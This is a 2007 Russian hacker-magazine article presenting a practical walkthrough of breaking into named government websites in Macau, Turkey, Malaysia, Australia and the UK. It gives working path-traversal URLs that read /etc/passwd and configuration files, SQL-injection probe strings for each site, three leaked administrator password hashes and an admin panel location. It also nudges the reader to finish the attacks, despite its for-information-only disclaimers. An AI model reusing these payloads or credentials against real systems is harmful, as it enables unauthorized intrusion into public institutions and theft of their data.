Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #101, МАЙ 2007 г.

Взлом зоны .gov

Леонид «R0id» Стройков

Хакер, номер #101, стр. 074

(r0id@mail.ru)

Атакуем правительственные ресурсы

В прошлом номере мы говорили о теоретических способах взлома государственных ресурсов. Наверное, ты понял, что даже в зоне .gov и .mil безопасность оставляет желать лучшего. Сегодня мы преподнесем тебе еще один сюрприз – практическое руководство по взлому государственных сайтов. Конечно, баги на ресурсах давно залатаны, потому рассматривай этот мануал исключительно как фантастический бестселлер, но ни в коем случае не как руководство к действию. Усвоил? Тогда поехали!

Intro

Уже давно ни для кого не секрет, что многие архивы и прочие государственные хранилища данных перекочевали в сеть. Сейчас правительство почти каждой страны считает необходимым, помимо официального сайта, иметь еще и пару серверов под «общественные нужды». Что под этими самыми «нуждами» подразумевается, не может знать, пожалуй, никто, кроме непосредственных организаторов проектов и владельцев серверов. Государственные ресурсы всегда были окутаны тайной негласности, именно поэтому они как магнитом притягивали и продолжают притягивать к себе хакеров. Если ты хотя бы иногда краем уха слушаешь новости, то мог заметить, что за последнее время было произведено несколько громких арестов людей, подозреваемых во взломе правительственных серверов США, Венесуэлы и прочих. В одной из прошлых статей я рассказал о том, как мне удалось проникнуть на сервер Национальной аэрокосмической ассоциации США (NASA). В тот раз я наглядно показал, что даже столь крупные государственные проекты могут быть уязвимы. Сегодняшняя статья является своего рода продолжением этой темы, только в более широком масштабе. Сейчас ты узнаешь все подробности о безопасности правительственных ресурсов некоторых стран мира.

Немного истории, или с чего начинается .gov

Доменная зона .gov изначально предназначалась для правительственных ресурсов, само сокращение «gov» - производное от «government» (правительство). В то же время доменная зона .mil задумывалась только для военных учреждений («mil» - сокращение от «military»). Домены GOV и MIL появились в 1984 году и сразу стали «специальными». По сути, они являются доменами ограниченного использования.

Домен GOV создан исключительно для федеральных государственных учреждений США, и регистрацией доменных имен в этом домене занимается Правительственный сетевой информационный центр (Government-Wide Registration Service). Домен MIL находится под контролем американского правительства, в частности Департамента госбезопасности США. Его специалисты ведут базу доменных имен зоны .mil, предназначенной для военных организаций и учреждений, отвечающих за безопасность страны (о какой стране идет речь, думаю, ты понял). Кстати, одно время плата за регистрацию доменов в зоне .gov не взималась, но позже ее все же ввели: первичная рега - по цене в $1k, а ежегодное продление - всего-навсего $500 =). Кроме того, как ты понял, зоны .gov и .mil принадлежат амерам, однако многие страны ввели свои поддомены вида .gov.национальная_зона_страны (например, Австралия - .gov.au). Но нас интересует совсем не это, поэтому углубимся в суть вопроса :).

Нетрудно догадаться, что ни один хуиз-сервис не даст нам полной информации по правительственным или военным доменам. Аналогичная ситуация обстоит и с известным порталом www.domainsdb.net. На запрос по домену www.nasa.gov сервис выдает такой ответ:

found 1 domain entrys on IP: 198.116.144.49 [get RIPE/ARIN IP info] (Resolved: nasans3.nasa.gov)

IP location: United States [US] - Alabama - Huntsville

IP owner: National Aeronautics and Space Association

IP assigned to: National Aeronautics and Space Association

Хотя, на самом деле, на основном сервере NASA далеко не один домен (о чем я упоминал в своей статье «NASA.GOV на коленях» - читай подшивку «Хакера»). А по запросу «www.navy.mil» сервис DomainsDB и вовсе отвечает, что, мол, нет такого домена. Вот такие дела. Но это все мелочи, самое интересное, как говорится, внутри =).

Первые баги - первый урожай

Так-с, с боевой обстановкой ознакомились, пора приступать к активным действиям. Но прежде я хочу предупредить, что сознательно не буду до конца раскручивать большую часть указанных мной уязвимостей.

Начнем, пожалуй, с такой страны, как Макао. Находится она, кстати, в Азии, но не в этом суть. Гуляя в очередной раз по просторам Сети, я наткнулся на любопытный ресурс www.macau.grandprix.gov.mo. Сайт, насколько я понял, был посвящен гонкам. Честно говоря, я не силен в местных иероглифах, поэтому мой взгляд от контента стал медленно смещаться в сторону адресной строки. Тут-то я и заметил, что ресурсик располагается в правительственной доменной зоне Макао (.gov.mo). Этот факт показался мне достаточно интересным, и я решил ненадолго задержаться на портале =). Фотки и прочая лабуда меня мало привлекали, но вот один из линков натренированный глаз заметил сразу:

http://www.macau.grandprix.gov.mo/mgpc/public_html/gb/main.php?cat=news&item=mgpc&file=show_news.php&id=1741

Да-да, ты правильно догадался, параметр file в скрипте main.php действительно не фильтровал входящие значения. Несмотря на то что error_reporting(), по-видимому, был в нуле, через пару секунд я уже читал файл passwd, успешно слитый с сервера :). Я зашел на www.domainsdb.net, вбил урл госресурса Макао, и меня послали идти лесом, сообщив, что никакой информации по этому домену нет :(. Однако никакого труда не составило прочитать местный hosts:

http://www.macau.grandprix.gov.mo/mgpc/public_html/gb/main.php?cat=news&item=mgpc&file=../../../../../../../../etc/hosts

Ответ не заставил себя долго ждать:

# Do not remove the following line, or various programs # that require network functionality will fail. 127.0.0.1 gp.macau.grandprix.gov.mo localhost localhost.localdomain gp www.macau.grandprix.gov.mo #192.168.1.28 www.macau.grandprix.gov.mo

Как оказалось, на сервере крутился Linux:

Linux version 2.6.17-1.2142_FC4smp (bhcompile@hs20-bc1-4.build.redhat.com) (gcc version 4.0.2 20051125 (Red Hat 4.0.2-8)) #1 SMP Tue Jul 11 22:57:02 EDT 2006

И через минуту у меня в руках уже находился конфиг Апача:

http://www.macau.grandprix.gov.mo/mgpc/public_html/gb/main.php?cat=news&item=mgpc&file=../../../../../../../../etc/httpd/conf/httpd.conf

Виртуальных хостов на сервере найдено не было, зато я обнаружил полезную для себя диру: /export/home/httpuser/WebMaster/. Поиграв с параметрами, я таки выудил хэши пассов админов:

http://www.macau.grandprix.gov.mo/mgpc/public_html/gb/main.php?cat=news&item=mgpc&file=../../../../../../../../export/home/httpuser/WebMaster/.gppassword&id=394

Самое интересное, что тут был не один хэш:

WebMaster:fk0EbenCGRXs2 phpmyadmin:d3jB0p9PyULGc admin:/NLkH.tT7RC1c

Вот тебе и админ, и веб-мастер и пхпмайадмин =). Паролики, естественно, были расшифрованы, но выкладывать я их не буду :). Все в твоих руках. Кстати, админка лежит тут: www.macau.grandprix.gov.mo/admin.

Продолжаем двигаться дальше. Следующие на очереди - турки. Честно говоря, мне никогда не нравился турецкий андеграунд с обилием кидисов. Поэтому от вида турецкого ресурса, находящегося в правительственной доменной зоне, во мне сразу проснулся азарт =). Сам линк на сайт был таким: www.atam.gov.tr. Побродив по ссылкам, я наткнулся на инъекцию:

http://www.atam.gov.tr/index.php?Page=DergiIcerik&IcerikNo=-1%27

Скрипт index.php работал с базой и был подвержен sql-инъекции, что не могло не радовать :). Поиграв с конструкцией order by, я таки узнал количество полей:

http://www.atam.gov.tr/index.php?Page=DergiIcerik&IcerikNo=-1+order+by+5/*

Как выяснилось, данные со второго и пятого полей отображались:

http://www.atam.gov.tr/index.php?Page=DergiIcerik&IcerikNo=-1+union+select+1,2,3,4,5/*

К сожалению, на мою попытку получить доступ к mysql.users база ругнулась и выдала лишь: «Access denied for user: 'atamDB@localhost' to database 'mysql'». Название одной таблички я знал: DergiIcerik. Также я знал и названия полей в ней: No, TRBaslik, TRYazar, TRDergiSayi, TRIcerik. Но ничего полезного там не обнаружилось. Прав file_priv тоже не было, и все попытки прочитать какой-либо из файлов на сервере были тщетны. Но когда я глянул версию MySQL, мое лицо расплылось в улыбке:

http://www.atam.gov.tr/index.php?Page=DergiIcerik&IcerikNo=-1+union+select+1,version(),3,4,5+from+DergiIcerik/*

На сервере крутился «мускул» версии 4.0.26. Как и с чем его едят, думаю, разберешься и без меня - я и так тебе уже многое сказал =).

Так, кто там на очереди? Ах, Малайзия, а я уж и забыл :). Между прочем, не сайтец, а золото, почти в прямом смысле. Спешу представить тебе официальный ресурс казначейства Министерства финансов Малайзии: www.treasury.gov.my. Кстати, дизайн у этого портала достаточно качественный, чего не скажешь о движке. Достаточно прогуляться по следующему линку, чтобы в этом убедиться:

http://www.treasury.gov.my/index.php?ch=36&pg=126&ac=1830%27

В качестве ответа - пустой лист, что говорит об error_reporting(0) и, следовательно, о слепой инъекции. Ну да это нам не помеха :). Если ты читал мою статью в «Хакере» под названием «Недетский взлом» (февраль, 2007), то уже, наверняка, понял, что к чему. Полей оказалось всего 11:

http://www.treasury.gov.my/index.php?ch=36&pg=126&ac=1830%27+order+by+11/*

Но что самое интересное, в этом же скрипте не фильтровалась еще одна переменная - $pg. Результат тот же:

http://www.treasury.gov.my/index.php?ch=37&pg=129%27+order+by+11/*&ac=1892&lang=eng

Что-то мне подсказывает, что у малазийского казначейства могут возникнуть нехилые проблемы =). Только смотри не шали сильно - как показывает практика, шутки могут закончиться плачевно.

Ну а мы тем временем перемещаемся в сторону солнечной Австралии. Гм, а что ты вообще знаешь об Австралии? :) Кенгуру, теннис, пляжи? =) Слабовато, а ведь там еще и бажные ресурсы в зоне .gov.au есть :). Сильно углубляться не будем, поэтому коротко и по делу. Первый наш клиент - Департамент туризма и искусства Тасмании, а второй - Сиднейское руководство чего-то там. Ресурс Департамента туризма Тасмании выглядит даже очень неплохо, правда только снаружи: www.bicentenary.tas.gov.au. Двиг написан на PHP, а сама бага лежит практически на поверхности:

http://www.bicentenary.tas.gov.au/page.php?id=-1+order+by+15/*

Причем тут можно наблюдать и ответ «мускула». Например, поменяв в верхнем запросе циферку 15 на 16, получим ожидаемый результат:

MySQL Error: 1054 (Unknown column '16' in 'order clause')

Суть баги понятна, так что флаг тебе в руки =). Что касается Сиднейского руководства чего-то там, то его портал порадовал своим дырявым перловым движком. Сам домен имеет адрес www.sca.nsw.gov.au. А уязвимость кроется в скрипте textversion.pl. В общем виде это выглядит так:

http://www.sca.nsw.gov.au/cgi-bin/textversion/textversion.pl?conf=conf.xml&file=../../../../etc/passwd

Очень солидно смотрится бага, просто супер =). Маленькая подсказка: конфиг веб-сервера лежит неподалеку, но на самом сервере интересного мало. Вот такие дела, еще раз передаю привет солнечной Австралии =).

И в заключение скажу пару слов о Великобритании. Совершенно случайно мне на глаза попался один из их ресурсов в зоне .gov.uk, и тот оказался бажным. Урл портала: www.monitor-nhsft.gov.uk. Чтобы ты сильно не мучался, намекну, что уязвим скрипт publications.php, инъекция раскручивается через нефильтруемый параметр cat:

http://www.monitor-nhsft.gov.uk/publications.php?cat=-1'

Полей всего 19:

http://www.monitor-nhsft.gov.uk/publications.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19/*

А версия «мускула» - 4.1.16 =). Как говорится, без комментариев.

Постскриптум

Надеюсь, что после прочтения моей статьи все твои иллюзии о несокрушимости правительственных ресурсов развеются. Любой взлом - это, в первую очередь, дело времени и желания. Проблема лишь в том, что, связавшись с подобными серверами, ты непременно наживешь себе лишний геморрой. Я не зря не раскручивал до конца описанные баги. Тебе тоже не советую это делать. Не надо трогать государство, тем более свое - оно может укусить, очень больно укусить.

Danger

Внимание! Информация предоставлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несут!

Info

Крайне не рекомендую связываться с правительственными ресурсами и нарушать их работоспособность. В противном случае можешь начинать собираться в места не столь отдаленные.

Содержание